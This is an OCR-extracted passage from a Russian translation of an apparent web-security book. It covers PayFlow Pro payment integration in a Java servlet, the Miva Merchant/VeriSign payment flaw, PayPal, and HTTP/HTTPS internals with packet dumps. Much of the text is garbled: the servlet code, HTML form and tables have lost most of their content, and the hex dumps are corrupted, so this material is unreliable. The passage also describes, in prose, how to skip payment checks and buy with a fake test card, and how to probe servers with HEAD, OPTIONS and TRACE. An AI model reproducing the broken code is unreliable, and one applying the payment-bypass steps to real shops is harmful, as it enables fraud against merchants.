В рассматриваемом примере интерфейс Pro реализован с использованием Java. В клиентской части Java объект PayFlow Pro инкапсулируется в серв лете Java. На рис. 3.10 показано, как в Web броузере выглядит страница, с помощью которой осуществляется взаимодействие с серверной частью системы PayFlow Pro. Payment Gateway Interface Cart code Credit Card number date Рис. ЗЛО. Пример HTML страницы, пред назначенной для взаимодействия со службой PayFlow Pro Представленный ниже фрагмент HTML взят из кода HTML страницы, которая мо жет использоваться для взаимодействия с системой обработки платежных транзакций PayFlow Pro и активизации клиентского компонента системы обработки платежей. Gateway Interface</Hl> <р> <form <table code</tdxtd>input type=text siz e=6></tdx/tr> <tr><td>Credit Card </tr> type=text name=EXPMONTH size=2> <input type=text size=2></tdx/tr> </table> Ha HTML странице содержится форма, которая обеспечивает запуск сервлета PFServlet В свою очередь, PFServlet создает Java объект PFPro, который и взаимодействует с системой обработки платежей PayFlow Pro. В форму HTML вводятся следующие параметры. Параметр Описание Код электронной корзины Номер кредитной карточки покупателя Месяц истечения срока действия кредитной карточки Год истечения срока действия кредитной карточки Электронная тележка каждого клиента имеет уникальный код. В PFServlet этот код используется для обработки всех товаров, помещенных в торговую тележку. В идеале код электронной тележки должен автоматически передаваться подсистеме обработки платежей электронного магазина из подсистемы управления сеансами при ложения. Ниже приведен исходный код для сервлета PFServlet. import import Глава З. Выбор товаров и обработка платежей 101
import javax.servlet.http.*; import public class PFServlet extends HttpServlet { public void doGet req, res) throws ServletException, { PrintWriter out; PFProAPI « new String ver = // получение HTML String EXPMONTH String = String String String EXPDATE = + EXPYEAR; // общей стоимости на основе торговой String = // получение идентификатора и пароля внутреннего хранилища String String password = // узел с системой обработки PayFlowPro String HostAddress = "test.signio.com"; String HostPort = "443"; // формирование строки параметров для передачи системе PayFlow Pro String = + username + + password + + + + EXPDATE + + AMOUNT String Timeout = "30"; // передача запроса на обработку и получение результата int = HostAddress, HostPort, ParmList, // запись результата out = // обработать покупателя и сгенерировать товарный чек. // перед завершением работы сервлета данные о транзакции нужно записать в базу данных. } Пакет com.Signio.PFProAPI обеспечивает возможность использования Java объекта, реализующего взаимодействие с системой PayFlow Pro. Этот пакет импортируется в коде сервлета PFServlet. Экземпляр объекта pfObjec t инстанцируется на основе класса PFProAPI. Этот объект используется для взаимодействия с серверами PayFlow Pro. Затем обрабатываются параметры формы, переданные PFServlet. После их получения используется функция которая проверяет содержи мое торговой тележки покупателя и вычисляет общую стоимость покупок, необходи мую для последующей обработки платежа. В следующем фрагменте кода задаются параметры соединения с системой обра ботки платежей финансовогр учреждения. В первую очередь из внутреннего храни лища данных извлекается информация для регистрации в системе PayFlow Pro. Эти параметры могут быть жестко заданы в программном коде, однако такой подход ни как нельзя назвать удачным. Затем задается IP адрес и номер порта сервера. И нако нец, формируется строка ParmList, содержащая список параметров, которые необхо димо передать в HTTP запросе серверу PayFlow Pro. Эти параметры определяют тип 102 Часть I. Будни электронной коммерции
транзакции (в данном случае продажа (sale) обозначается символом S) и форму оплаты (для кредитной карточки используется символ С (credit Кроме того, в строке параметров содержится также пользовательское имя и пароль системы PayFlow Pro, номер кредитной карточки и конечный срок ее действия, стоимость покупки, некото рая дополнительная информация о транзакции и адрес покупателя. Полное описание всех этих параметров можно найти в руководстве разработчика системы PayFlow Pro, предоставляемом компанией После этого с помощью метода генерируется запрос на обработку платежа. В переменную помешается код результата, полученный от сервера PayFlow Pro. Как правило, на полную обработку запроса (от его генерации до получения отклика результата) уходит несколько секунд. В оставшемся фрагменте кода обрабатываются результаты транзакции. Если платеж был успешно принят, генерирует сообщение о подтверждении заказа и товарный чек, а затем инициирует процесс выполнения заказа. Если же об работка платежа завершилась неудачно, формируется соответствующее сообщение покупателю. Перед завершением работы сервлета данные о транзакции записыва ются в базу данных. Проблемы реализации подсистемы обработки платежей При реализации подсистемы обработки платежей и ее интеграции с соответствую щей системой финансового учреждения возникает ряд вопросов, которые требуют внимательного рассмотрения. Интеграция При интеграции подсистемы обработки платежей электронного магазина с интер фейсным объектом системы финансового учреждения требуется, чтобы из клиентской базы данных не извлекались никакие конфиденциальные данные. Так, например, об щая стоимость выбранных товаров всегда должна подсчитываться с учетом содержи мого электронной торговой тележки и стоимости товаров, хранящейся в серверной базе данных, а не базироваться на сведениях, поступивших от покупателя. Временная информация . Если на сервере необходимо хранить какую либо временную информацию, то ее следует размещать вне корневого каталога документов Web в отдельной области фай ловой системы, специально предназначенной для этих целей. В этом случае с помо щью Web броузера взломщик не сможет извлечь промежуточные или временные фай лы. Как только в хранении временных данных больше нет необходимости, их нужно сразу же удалить. Кроме того, нужно позаботиться о том, чтобы не произошло нало жения временной информации двух параллельных сеансов. Протокол SSL Протокол SSL не имеет прямого отношения к обеспечению безопасности сер верной части приложения. Однако очень важно, чтобы этот механизм использовал ся для шифрования данных, передаваемых между системой покупателя и Web узлом Глава 3. Выбор товаров и обработка платежей 103
виртуального магазина, а также между электронным магазином и системой обработки платежей финансового учреждения. При этом злоумышленники не смогут "прибрать к рукам" конфиденциальные данные, передаваемые в Internet. Хранение профилей пользователей Многие электронные магазины розничной торговли позволяют покупателям ис пользовать свой собственный профиль (набор параметров) и хранить его на сервере магазина. Зачастую в таком профиле содержится также информация о платежах, в том числе сведения о кредитных карточках. В таких случаях необходимо предпринять по вышенные меры безопасности, гарантирующие, что профили пользователей не будут подвергнуты риску ни при каких обстоятельствах. Изъяны слабой интеграции подсистем выбора товаров и обработки платежей 4 января 2002 года появилось сообщение об изъяне, обнаруженном в электрон ной тележке Miva Merchant (версии 3.x) и системе обработки платежей компании VeriSign. Воспользовавшись им, в рамках подсистемы выбора товаров можно было выполнять недопустимые транзакции с помощью недействительных кредитных карточек. По существу, ошибка была не в самой системе обработки платежей, а в методе интеграции приложения электронной тележки с системой обработки платежей. Существует два способа использования этого изъяна. Первый заключается в мо дификации кода HTML страниц таким образом, чтобы вместо страницы с фор мой оформления платежа сразу же выводилась страница подтверждения заказа. Тем самым полностью пропускается этап проверки достоверности пользователь ских данных. Второй путь "обхода" системы состоит в том, чтобы создать в сис теме PayFlow компании VeriSign пустую тестовую учетную запись. Такая учетная запись зарезервирована для тех разработчиков, которым нужно протестировать свои приложения. И вновь для незаконного использования электронной торговой тележки достаточно отредактировать HTML код и вместо страницы оформления заказа воспользоваться адресом URL, используемым для отладки. Далее фальши вый номер "тестовой" кредитной карточки может быть использован для приобре тения товаров. Подробная информация об этих способах мошенничества содер жится по адресу: http://securitytracker.com/alerts/2002/Jan/1003102.html. PayPal --- электронные платежи, доступные каждому Такие системы обработки платежей, как PayPal (http://www.paypal.com), позволили отдельным пользователям выполнять электронные платежи через Web. Подобная воз можность привела к значительному увеличению числа лиц, в том числе мелких пред принимателей, а также небольших компаний, которые ведут свои дела через Internet. Транзакции PayPal выполняются с использованием кредитных карточек. В системе PayPal каждый пользователь может зарегистрироваться бесплатно. Персональная учетная запись связывает сведения о кредитных карточках пользователя с его иденти фикационными данными. Для ссылки на собственные счета клиенты PayPal просто используют свой адрес электронной почты. Предположим, что некий пользователь 104 Часть I. Будни электронной коммерции
хочет выполнить платеж на имя пользователя ранее уже получившего учетную запись PayPal. Ссылка на учетную запись Jill в PayPal осуществляется с ис пользованием электронного адреса --- Если Mallory захочет перевести Jill некоторую сумму денег, то первое, что ему следует сделать, --- это зарегистриро ваться в PayPal. Mallory создает собственную учетную запись PayPal и связывает с ней номер своей кредитной карточки. Затем Mallory регистрируется в системе PayPal и инициирует платеж на счет, связанный с адресом jilliexample.com. В системе PayPal кредитная карточка Mallory используется для добавления на счет Jill указанной сум мы. На электронный адрес Jill автоматически отправляется сообщение о том, что бы ли получены деньги от Mallory. Системой PayPal предлагается три типа учетных записей: personal, premium и business. При этом с каждой из них связаны различные возможности и льготы, ориенти рованные на отдельных пользователей, отдельных пользователей с большим объемом платежей и представителей малого бизнеса соответственно. Кроме того, системой PayPal предоставляется ряд дополнительных услуг: возможность выполнения платежей по кре дитным карточкам напрямую, использование банкоматов или дебетных карточек, под ключенных к счету PayPal, обслуживание нескольких счетов одновременно и т.д. В настоящее время услугами PayPal пользуются около 15 миллионов физических лиц и небольших предприятий. При этом финансовые операции они могут осуществ лять в интерактивном режиме. PayPal --- это основной метод приема платежей на Web узлах аукционной продажи, таких, как eBay. Немалую роль система PayPal играет также в развитии рынка условно бесплатного программного обеспечения, которое распространяется по принципу "прежде чем покупать, попробуй". Такое программное обеспечение предлагается разработчиками бесплатно. При этом предоставляется воз можность приобретения его полноценной копии позднее. Система PayPal позволяет отдельным разработчикам программного обеспечения принимать платежи с кредит ных карточек тех клиентов, которые используют их программные средства. Интересен тот факт, что система PayPal также широко используется в индустрии Internet порнографии, позволяя владельцам соответствующих Web узлов взимать плату за про смотр предоставляемого содержимого. • Резюме Электронные торговые тележки и системы обработки платежей --- это основа любого приложения электронной коммерции, предназначенного для обслуживания клиентов через Internet. Именно эти компоненты приложения обеспечивают обмен конфиденциальными и критически важными данными между покупателями и компа ниями по Internet. Следовательно, вопросам безопасного функционирования подоб ных подсистем должно уделяться самое пристальное внимание. Каждый из этих ком понентов должен быть тесно связан с другими частями приложения. Любая ошибка в реализации может стать причиной серьезной утечки информации, хранящейся на сервере. Любой программный продукт, представленный на современном рынке, тре бует тщательного тестирования в аспекте обеспечения безопасности. Причем такую проверку стоит выполнять еще до покупки приложения, а не после его установки. Глава 3. Выбор товаров и обработка платежей 105
ГЛАВА 4 п TPS Слепой не будет благодарен за зеркало. Английская пословица XVIII века. Из собраний Томаса Фуллера (Thomas Fuller), 1732
Введение Ежедневно во всем мире и за его пределами миллиарды электронов передаются по тысячам миль кабеля между узлами Internet. Эти электроны доставляют почтовые со общения, изображения и звук на миллионы компьютеров, подключенных к World Wide Web. Во многих сообщениях содержится жизненно важная и конфиденциальная информация, которой могут завладеть хакеры (если получат доступ к этим сообщени ям) и впоследствии нанести большой вред. Многие из них именно этим и занимают ся. Почему же существует эта опасность, несмотря на технический прогресс в области разработки брандмауэров и программного обеспечения, предназначенного для выяв ления вторжений? Ответ на этот вопрос связан с двумя TCP портами --- 80 и 443. Эти порты используются службами, основой которых являются протоколы HTTP Transfer Protocol) и (HTTP поверх SSL), чем и объясняется растущее количество Почему же так происходит? Причина чрезвычайно проста: люди становятся жертвами искусного мошенничества. Разработчики программного обеспечения и провайдеры услуг Internet очень часто прибегают нечестным ухищрени ям и уловкам. Они уверенно заявляют: "Купите хороший брандмауэр и систему выявле ния вторжений (Intrusion Detection System --- IDS), и ваши проблемы, связанные с обес печением безопасности, исчезнут сами собой". Любой человек с высоким уровнем ин теллекта должен знать, что независимо от количества используемых брандмауэров и систем IDS, никогда нельзя обеспечить гарантированную защиту от Web атак. Брандмауэры не помогут защититься от Web атак. Их можно сравнить с лежачими по лицейскими на улицах Internet. Почему? Потому что через них должен свободно проходить весь Web трафик. В результате протоколы позволяют взломщику практиче ски полностью игнорировать брандмауэры. Вне всякого сомнения, протокол HTTP должен вызывать у хакеров восхищение. Обычно все, что можно сделать с использованием HTTP, можно сделать также и с помощью В этой главе рассматриваются оба протокола (HTTP и HTTPS), обсуждаются основные принципы их функционирования, а также пути, которыми пользуются хакеры для расширения границ своей деятельности. Протоколы Web World Wide Web --- это набор протоколов, которые подобны полицейским, регу лирующим "уличное" движение в Internet. Пакеты --- это автомобили, грузовики и автобусы на информационной супермагистрали; а протоколы --- это остановки, све тофоры и эстакады. С учетом такого определения, протоколы играют чрезвычайно важную роль в управлении повседневной жизнью Internet. Как следствие, ока зываются столь же важными и для хакеров, которые хотят воспользоваться их не достатками (а иногда и функциональными возможностями). В этой главе обсуждаются основные протоколы, используемые в электронной коммерции. Кроме того, вы узнаете, как хакеры пытаются воспользоваться ими для достижения собственной выгоды. Здесь также описывается множество бесплатных утилит, работа которых основывается на преимуществах этих протоколов. Подобные программные средства позволяют автоматизировать выполнение большей части тяже лой рутинной работы. HTTP Вне всякого сомнения, HTTP --- наиболее распространенный протокол Internet. Для взаимодействия и обмена информацией этот протокол должен использоваться на каждом Web броузере и сервере. Существует три основные версии протокола, которые Глава 4. Хакинг протоколов HTTP и HTTPS 107
поддерживают одну и ту же фундаментальную структуру. HTTP --- это протокол за просов/ответов, не требующий поддержки соединения и позволяющий компьютерам достаточно эффективно и непрерывно взаимодействовать друг с другом в течение ча сов, дней и недель. Хотя используемая в настоящее время версия 1.0 протокола HTTP существенно отличается от первоначальной спецификации, предложенной Тимом Бернерсом Ли (Tim Berners Lee) в марте 1990 года, его характерные особенности изменились не значительно. На рис. изображены основные компоненты HTTP и принципы их использования. Клиент передает запрос HTTP, используя разные методы и заголовки запроса HEAD / Клиентский броузер Сервер возвращает код ответа HTTP, используя разные заголовки запроса Web сервер 200 Server: Date: Mon, 15 Apr 2002 05:56:57 GMT bytes Last Modified: Sat, 06 Apr 2002 06:48:32 GMT Etag: 5 Рис. 4.1. Протокол HTTP Рассмотрим основные версии протокола HTTP подробнее. HTTP/0.9 Первой официальной спецификацией протокола HTTP считается Эта и последующая версии определены группой IETF (Internet Engineering Task Force) в до кументе RFC 1945 В течение четырех лет (1992 1996) протокол получил широкое распространение в Internet, хотя в то вре мя технология Web еще не была достаточно развита. Версия 0.9 была весьма ограни ченной и не содержала тех элементов, которые в настоящее время требуются для взаимодействия в Web. Спецификация НТТР/1.0 появилась в самом начале эры стремительного развития Internet, в мае 1996 года. Несмотря на небольшой возраст этой версии (в технологиче ском смысле), она является основной версией протокола HTTP, используемой сейчас в Internet. В процессе взаимодействия на большинстве Web серверов и броузеров по прежнему по умолчанию используется протокол НТТР/1.0. Подобно НТТР/0.9, спе цификация НТТР/1.0 определена в документе RFC 1945. 108 Часть I. Будни электронной коммерции
В основу НТТР/1.0 положен процесс обмена запросами и ответами, в рамках кото рого клиенту (Web броузеру) и серверу (Web серверу) разрешается (или запрещается) передавать, анализировать и получать информацию. Вообще, в спецификации НТТР/1.0 адрес URL определен следующим образом: //узел [ порт ] [ путь ] Здесь узел --- это имя целевого узла, порт --- необязательный номер порта, путь --- запрашиваемый ресурс. Запрос HTTP При генерации запроса первым шагом должен быть выбор метода, который будет использоваться. В табл. описаны методы, определенные в спецификации НТТР/1.0. Таблица Методы НТТР/1.0 Метод Описание GET Позволяет извлечь информацию из файловой системы. Если запрашиваемый файл является статическим файлом HTML, то будет отображено его содержимое. Однако если файл является динамическим файлом ASP, то Web сервер обработает его, выполнит содержащиеся в нем ко манды и передаст результаты выполнения обратно броузеру. Пример: GET Замечание: после строки необходимо дваж ды нажать клавишу <Enter> Метод HEAD почти идентичен методу GET, с одной оговоркой: при его использовании запраши ваемые данные возвращены не будут. Однако преимущество метода HEAD заключается в том, что в качестве ответа передается код ответа сервера, дата, заголовок серве ра и т.д. Эти данные позволяют взломщику (иногда) "прощупывать" Web сервер, на котором вы полняется Web приложение. Пример: HEAD / НТТР/1.0. Замечание: после строки НТТР/1.0 необходимо дважды нажать клавишу <Enter> POST При использовании метода POST данные передаются серверу в теле запроса. Обычно метод POST используется в том случае, если в процессе взаимодействия применяется интерфейс CGI или серверные сценарии. Замечание: для всех запросов POST требуется указать корректный за головок Content Length Ответ HTTP Полученный от клиента запрос HTTP обрабатывается сервером, который обратно передает ответ. В качестве ответа передается набор следующих компонентов: • код ответа (response code) --- числовой код, связанный с откликом; • поля заголовка (header field) --- дополнительная информация об ответе; • данные --- содержимое, или тело ответа. При наличии этих трех компонентов клиентский броузер "понимает" ответ серве ра и может с ним взаимодействовать. Рассмотрим каждый компонент подробнее. Код ответа Это первая часть ответа сервера, которая определяет все последующее взаимодей ствие. Возможны четыре ответа сервера: Success (успешное завершение передачи за проса), Redirection (перенаправление), Client Error (ошибка клиента) или Server Error (ошибка сервера). Значение кода ответа зависит от запроса. В табл. 4.2 приведены наиболее стандартные коды ответа, генерируемые сервером. Глава 4. Хакинг протоколов HTTP и 109
Таблица 4.2. Общие коды ответов Код ответа Описание Success 2xx 200 ОК RedirectionЗхх Запрос успешно принят 301 Moved Permanently Запрашиваемый ресурс содержится по новому постоянному адресу URL, ко торый указан в поле Location. С помощью этого кода ответа сервер сооб щает: переместился, следуй за мной по новому адресу" 302 Moved Temporarily Запрашиваемый ресурс можно найти с использованием нового временного URL, который указан в поле Location. Этот код ответа говорит: "Я пере местился, следуй за мной по новому адресу, но не рассчитывай, что я долго там задержусь" Client Error 4xx 400 Bad Request 401 Unauthorized 403 Forbidden Not Found Server Errors 5xx 500 Internal Server Error 501 Not implemented 502 Bad Gateway 503 Service Unavailable Сервер не понял запроса Для доступа к запрашиваемому ресурсу нужно пройти аутентификацию Сервер понял запрос, но отказывается отвечать. Как правило, если для по лучения ответа используется метод то предоставляется (или вообще отсутствует) минимальная дополнительная информация. В то же время при использовании метода HEAD некоторые серверы возвращают более подроб ную информацию о причинах возникновения данного условия Нужный ресурс не найден При обработке запроса на сервере возникла внутренняя ошибка Сервер не поддерживает запрос При запросе ресурса сервер получил некорректный ответ от другого серве ра. Такой ответ типичен для proxy серверов HTTP Сервер не может ответить на запрос из за своей перегруженности Более полный перечень кодов ответов протоколов и содержит ся в приложении Б. С помощью кода 501 (Not Implemented) клиенту сообщается, что выбранный метод сервером не поддерживается. Например, такой код будет получен в том случае, если серверу НТТР/1.0 передать запрос с методом OPTIONS (который определен только в спецификации Поля заголовка Как в ответе сервера на запрос клиента, так и в ответе клиента на запрос сервера содержатся поля заголовка с дополнительной информацией. Сервер и клиент выпол няют анализ этих полей и при необходимости используют полученную информацию. Основные поля заголовка описаны в табл. 4.3. 110 Часть I. Будни электронной коммерции
Таблица 4.3. Определения полей заголовка Поле заголовка Описание Предоставляет список методов, поддерживаемых запрашиваемым ресурсом Содержит регистрационные данные, необходимые для аутентификации HTTP Перечисляет, какое дополнительное кодирование применялось к переданным дан ным. На основе этой информации клиент может правильно интерпретировать полу ченные данные. Например, поле x gzip означает, что к со держимому было применено сжатие gzip Указывает размер содержимого в октетах (десятичное число). Например, Content Length: 33 2 Описывает тип содержимого ответа. Например, поле text/HTML определяет, что типом содержимого является text/HTML. Это поле позволяет пра вильно отобразить полученное содержимое в клиентском броузере Содержит дату и время сервера Содержит дату и время, при которых содержимое считается устаревшим Содержит адрес электронной почты, используемый для определения сгенерировавшего ответ. Это поле используется редко Содержит дату и время последнего изменения ресурса на сервере Указывает местоположение запрашиваемого ресурса Описывает параметры обработки запроса. Например, если в поле заголовка Pragma, полученного от сервера, указана директива no cash, то клиент должен загрузить полученное содержимое независимо от того, содержится ли в буфере копия этих данных Позволяет клиенту указать адрес ресурса Описывает запущенное на сервере программное обеспечение. В большинстве слу чаев эта информация является точной. Например, Server: Однако не нужно забывать о том, что некоторые сообразительные администраторы могут изменить эту информацию. В результате вполне возможно получить сообще ние "Web сервер Микки" Предоставляет дополнительную информацию о пользовательском (клиентском) агенте, который запрашивает информацию. Например, Используется в ответ на получение кода 401 Применяется в про цессе взаимодействия с сервером для получения санкционированного доступа Данные Блок данных, содержащихся в клиентском запросе или ответе сервера, --- это ос новная часть информации, передаваемой в процессе взаимодействия. При использо вании метода GET в запросе на получение ресурса по умолчанию можно воспользо ваться следующим синтаксисом: С:\> Hww.example.com 80 GET / Another <cr> <lf> here В результате обратно в блоке данных будет передана Web страница, используемая по умолчанию. Allow Authorization Content Encoding Content Length Content Type Date Expires From Last Modified Location Pragma Referer Server User Agent WWW Authenticate Глава 4. Хакинг протоколов HTTP и HTTPS 111
HTTP/1.1 Официальная спецификация протокола появилась в 2001 году и в на стоящее время широко используется. Подробные сведения об этой новой версии и описание ее основных отличий от версии представлены в документе RFC 2616 группы IETF. Причиной появления протокола HTTP/1.1 послужили не достатки, обнаруженные в его предыдущей версии. К этим недостаткам относится отсутствие поддержки иерархических связей между слабая под держка кэширования и отсутствие корректной обработки постоянных соединений и виртуальных узлов. В протоколе HTTP/1.1 адрес URL выглядит следующим образом: При сравнении адресов URL версий НТТР/1.0 и можно заметить одно существенное отличие: протокол НТТР/1.1 поддерживает передачу параметров сцена рия с использованием запроса ?. Эта особенность используется практически во всех Web приложениях и оказывается одним из первых механизмов, подвергающихся ата ке. Все, что указано после символа ?, обрабатывается сценарием, а следовательно, становится целью атаки (таковы правила игры с хакерами). Запрос HTTP Протокол НТТР/1.1 основывается на НТТР/1.0, однако поддерживает гораздо больше методов. Описание методов НТТР/1.1 приведено в табл. 4.4. Таблица 4.4. Методы Метод Описание CONNECT Новый для Можно использовать при взаимодействии с proxy сервером, который позволяет динамически переключаться в режим (т.е. туннелирования SSL) DELETE Новый для Позволяет исходному серверу удалить указанный ресурс. По умолчанию эта возможность не доступна на большинстве новых серверов. Однако при использовании такого метода об удач ной обработке запроса будет свидетельствовать ответ 200 ОК. Ответ 202 Accepted будет возвращаться в том случае, если запрос был принят, но его обработка еще не закончена. Со общение 204 NO Content означает, что запрос был принят, но обратно возвращать нечего GET Позволяет извлечь информацию из файловой системы. Если запрашиваемый файл является статическим файлом HTML, то будет отображено его содержимое. Однако если файл является динамическим файлом ASP, то Web сервер обработает его, выполнит содержащиеся в нем команды и передаст результаты выполнения обратно броузеру. Пример: GET /default.htm НТТР/1.1. Замечание: после строки НТТР/1.1 необходимо дважды нажать клавишу <Enter> HEAD Метод HEAD почти идентичен методу GET, с одной оговоркой: при его использовании запраши ваемые данные возвращены не будут. Однако преимущество метода HEAD заключается в том, что в качестве ответа передается код ответа сервера, дата, заголовок сер вера и т.д. Эти данные позволяют взломщику (иногда) "прощупывать" Web сервер, на котором выполняется Web приложение. Пример: HEAD/HTTP/I после строки необходимо дважды нажать клавишу <Enter> 112 Часть I. Будни электронной коммерции
Окончание табл. 4.4 Метод Описание OPTIONS Позволяет получить информацию о параметрах связи, которые можно использовать при досту пе к нужному ресурсу. Если используется символ звездочки (*), то ресурс считается стандарт ным и в ответе будут указаны только стандартные методы. Например, при использовании сим вола в ответе будут указаны только четыре метода: GET, HEAD, OPTIONS и TRACE. OPTIONS * HTTP/1 Л Host: HTTP/1.1 200 OK Date: 15 Apr 2002 00:08:32 GMT Server: (Unix) Content Length: 0 Allow: GET, HEAD, OPTIONS, TRACE В то же время при использовании символа / можно получить перечень всех разрешенных методов. OPTIONS / HTTP/1.1 Host: www.example.com 200 ОК Date: Mon, 15 Apr 2002 00:"07:17 GMT Server: (Unix) Content Length: 0 Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MOVE, TRACE Этот метод может оказаться весьма полезным (с точки зрения хакера) при исследовании функциональных возможностей Web узла POST При использовании метода POST данные передаются серверу в теле запроса. Обычно метод POST используется в том случае, если в процессе взаимодействия применяется интерфейс CGI или серверные сценарии. Замечание: для всех запросов POST требуется указать корректный заголовок Content Length PUT Позволяет сохранить передаваемые данные на сервере. Например, приведенный ниже фраг мент позволяет создать файл EXAMPLE, в котором будут содержаться данные, переданные в запросе. PUT /EXAMPLE Host: 192.168.0.5 Content Length: 5 Hello there TRACE Позволяет сгенерировать запрос на получение циклического сообщения. Даже если запрос предназначен для целевого сервера, зачастую вместо него отвечают proxy серверы. Эта ха рактеристика позволяет взломщику выполнить инвентаризацию Как и при использовании протокола запросы HTTP/1.1 передаются клиентом и соответствующим образом обрабатываются сервером. В ответе HTTP/1.1 можно выделить следующие элементы: • код ответа (response code) --- числовой код, связанный с откликом; • поля заголовка (header field) --- дополнительная информация об ответе; • данные --- содержимое, или тело ответа. Глава 4. Хакинг протоколов HTTP и HTTPS
Коды ответа В спецификации к списку ранее используемых кодов ответов добавлено много новых кодов, однако их основная часть осталась без изменений. Поэтому, для того чтобы понять характерные особенности кодов следует хорошо разо браться с кодами ответов, определенными в протоколе Поля заголовка Как в запросе клиента, так и в ответе сервера содержатся поля заголовка, предос тавляющие некоторую дополнительную информацию. При необходимости сервер и клиент выполняют анализ этих полей. В табл. 4.5 приведено описание новых полей заголовка, появившихся в протоколе Таблица 4.5. Добавления НТТР/1.1 к определениям полей заголовка Поле заголовка Описание Cache Control Определяет директивы, которые должны использоваться всеми механизмами кэши рования в последовательности запросов/ответов Connection Позволяет отправителю задать параметры конкретного соединения Etag Позволяет получить текущее значение дескриптора entity Trailer Позволяет включить в конец сообщения список заголовков Позволяет получить информацию обо всех преобразованиях тела сообщения, кото Encoding были выполнены для его передачи Upgrade Позволяет клиенту указать, какие дополнительные заголовки им поддерживаются Via Используется промежуточными шлюзами и proxy серверами для определения того, какие протоколы применяются при передаче сообщения между сегментами маршру та. Как и в ходе отслеживания маршрутов при обеспечении безопасности, поле via позволяет определить, через какие proxy серверы проходит сообщение в процессе его доставки на целевой сервер Warning Используется для получения дополнительной информации о статусе сообщения (HTTP поверх SSL) Это протокол, используемый для шифрования трафика HTTP. При этом для шиф рования всего сообщения используется протокол SSL. Существует множество версий SSL и аналогичных протоколов (Transport Layer Security --- TLS, RFC 2246), в том чис ле SSLv2 и Кроме того, ситуацию усложняет еще и то, что в различных версиях SSL могут использоваться разные стандарты шифрования. Например, при ис пользовании протокола SSLv3 можно выбрать один из существующих алгоритмов шифрования, начиная с DES и заканчивая (RC2 и RC4). Проследить за практическим использованием протокола SSL проще всего с помо щью сетевого анализатора пакетов. С помощью утилиты Snort (http://www.snort.org) можно просмотреть весь трафик, передаваемый через TCP порт 80. 04/14 22:43:39.781452 192.168.0.5:80 > 192.168.0.3:2590 TCP TOS:OxO DF Seq: Ox22AA9B72 Ack: OxFDC79BB8 Win: Ox445F 20 0x0000:0006 3004ОС002078OD 4C08004500 X. .L. .E. 0x0010:01584715400080063132COA80005COA8 0x0020:00030050OA 22AA9B72FDC79ВВ85018 P. 0x0030:445F339A0000485454502F312E312032 D 2 114 Часть I. Будни электронной коммерции
0x0040:3030204F4ВODОА44 7465ЗА204D6F6Е 00 0x0050:2С203135204170722032303032203036 ,15Apr2002Об 0x0060:ЗА3131ЗА353320474D54ODОА53657276 :11:53 0x0070:6572ЗА204170616368652F312Е332Е31 er: Apache/1.3.1 0x0080:32202857696Е333229204170616368£5 2(Win32)Apache 0x0090:4А536572762F312Е31206D6F645F7373 mod ss OxOAOO:6C2F322E 2E34204F70656E53534C2F OpenSSL/ OxOOBO:302E392E3561206D6F645F7065726C2F OxOOCO:312E3232ODOA4C6173742D4D6F646966 OxOODO:696564ЗА204D6F6E2C20303820417072 08 OxOOEO:2032303032203031ЗА3334ЗА35352047 200201:34:55G OxOOFO:4D54ODOA45546167ЗА2022302D383462 0x0100:2D336362306633626622ODOA41636365 .Acce 0x0110:70742D52616E676573ЗА206279 746573 pt Ranges: bytes 0x0120:ODOA436F6E74656E742D4C656E 67 74 68 0x0130: ЗА 20 32 31 32 33 ODOA436F6E6E65 74 69 : 0x0140:6F6EЗА20636C6F7365ODOA436F 6E7465 on: 0x0150:6E742D54797065ЗА2074657874 2F6874 nt Type: text/ht 0x0160: 6D 6C OD OA OD A В пакете, сервером, содержатся результаты обработки запроса HEAD. Вот как выглядит этот же пакет, зашифрованный с использованием SSL: 04/14 22:46:51.135042 192.168.0.5:443 > 192.168.0.3:2592 TCP TOS:OxO 10:18212 IpLen:20 DF Seq: 0x25992024 Ack: 0x4266 TcpLen: 20 0x0000:00065B3004ОС002078ODIF4C08004500 X..L..E. 0x0010:01534724400080063128COA80005COA8 0x0020:000301BBOA2025992D2400B641BA5018 0x0030:4266B9040000170300012646E432333E Bf 0x0040:IE195E9EFBOB7F554173099A97DED765 e 0x0050: FD00OBOB9F892AC24C283BADOAOAC9 0x0060:A98D5754AADB3D539EC43DOF24C8DB85 0x0070:B82C36874EID30A52CF23631CC485869 0x0080:3FA92A8A285743ED4F FF2AB2AF2ABF 0x0090:2354FOAB9D6F5D0721CFDF072E732D50 OxOOAO:BC188CEO22FA848017ЕЕ6698D9CB68ED f. . .h. OxOOBO:1876D2DEE6FA6FB7OB09AD246В8С97OE o. . . .$k. . . , OxOOCO:6F268B9F58EDFB53133E1C2073D3BEA2 oS..X..S.>. s. . . OxOODO:8DClD22009F759El9FD9B2844958DB9F Y OxOOEO:B761ACE5A256CO3F6E7E67544EВЗ2ЕEl OxOOFO:A8F86C87957B62BD6E5B70283C898ED4 0x0100:EDAB3CEO3E755BDFBC827C4FC8457C66 0x0110:FB73B829CC572DF25C66 OEBE4A3B42 0x0120:2F5F32IEE2DDFBCl84E907ОСDECDOB72 r 0x0130:91F53C616EFF66 D89В7СCB25597371 0x0140:B902331571B94B9DFCFFFOF2 52 54 0x0150:4221E4B3F75D77F36A164E1940A2BCD9 0x0160: C4 Теперь все данные от любопытных глаз взломщика. Преимущество ис пользования SSL очевидно: этот протокол позволяет зашифровать трафик между дву мя узлами и таким образом существенно сузить возможности взломщика по доступу к трафику конфиденциальных данных и их перехвату. Однако не стоит заблуждаться. На самом деле SSL не обеспечивает полной безопасности. Все, на что он способен, --- это защититься от средств прослушивания точно так же, как кодирование голоса при звано обеспечить конфиденциальность при использовании радиотелефона. Однако эффективность такой защиты вызывает большие сомнения, если вспомнить о про граммах типа ssldump которые позволяют расшифро вать трафик, защищенный с использованием SSL. Глава 4. Хакинг протоколов и
Резюме Основной трафик Web практически полностью базируется на протоколах HTTP и Эти два протокола задействованы почти в 100% атак. Брандмауэры не способны предотвратить эти нападения, и лишь несколько систем выявления вторжений позволя ют их обнаружить. Все это объясняется тем, что хакерам прекрасно известно, как мани пулировать этими протоколами и использовать их для достижения своих целей. Часть I. Будни электронной коммерции
ГЛАВА 5 URL: хакера Лазерный меч --- это оружие Джедая. Он не такой громоздкий и не управляемый, как бластер. Оби Ван "Звездные войны. Эпизод IV" \
